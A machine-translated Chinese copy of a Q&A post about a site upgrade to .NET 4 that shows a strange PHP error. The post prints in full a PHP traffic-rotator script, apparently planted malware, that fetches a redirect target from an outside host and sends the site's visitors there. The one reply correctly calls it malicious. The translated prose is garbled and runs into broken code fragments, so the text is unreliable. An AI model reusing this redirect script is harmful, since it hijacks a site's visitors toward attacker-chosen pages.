2015-07-02 40 views
0

我想從.NET 2升級我的網站4升級網站到.NET 4 - 奇怪的PHP錯誤

  1. 固定web.config中滿足4級的要求

  2. IIS設置爲該網站於.NET 4(通過Plesk)

  3. 編譯所有的組件4

沒有w除了主頁返回一個奇怪的PHP錯誤:「0,'url'=> $ default_url),網站的所有頁面都在工作。如果($設置[「最後」]」

*在衆目睽睽源

有誰知道什麼似乎是問題,以及如何解決它?

非常感謝下面,

阿薩夫。這個腳本的

############################################################################ 
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. # 
# The script must be in the folder prochmodenoy at 777. this is important!.# 
############################################################################ 
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг 
$timeout=120; #Время обновления (в секундах) 
$default_url='http://www.google.com/robots.txt'; 
if (!$geturl) 
exit(); 
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится. 
$tmp_settings = sys_get_temp_dir() . "/settings.json"; 
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url); 
if ($settings['last']<time()-$timeout)> 
{ 
if ($settings['url']=file_get_contents($geturl)) 
{ 
$settings['last']=time(); 
$fp=fopen($tmp_settings, 'w'); 
flock($fp, LOCK_EX); 
fputs($fp, serialize($settings)); 
flock($fp, LOCK_UN); 
fclose($fp); 
} 
} 
$url=$settings['url']?$settings['url']:$default_url; 
if(substr($url, 0, 4)!='http') 
$url="http://".$url."/"; 
header("Location: $url"); 
exit(); 
?> 

回答

0

內容看起來像它試圖從您的網站到其他URL重定向訪問者惡意代碼。

認爲您可以將其移動到其他文件夾或名稱,並詢問您的主機或管理員以獲取安全幫助。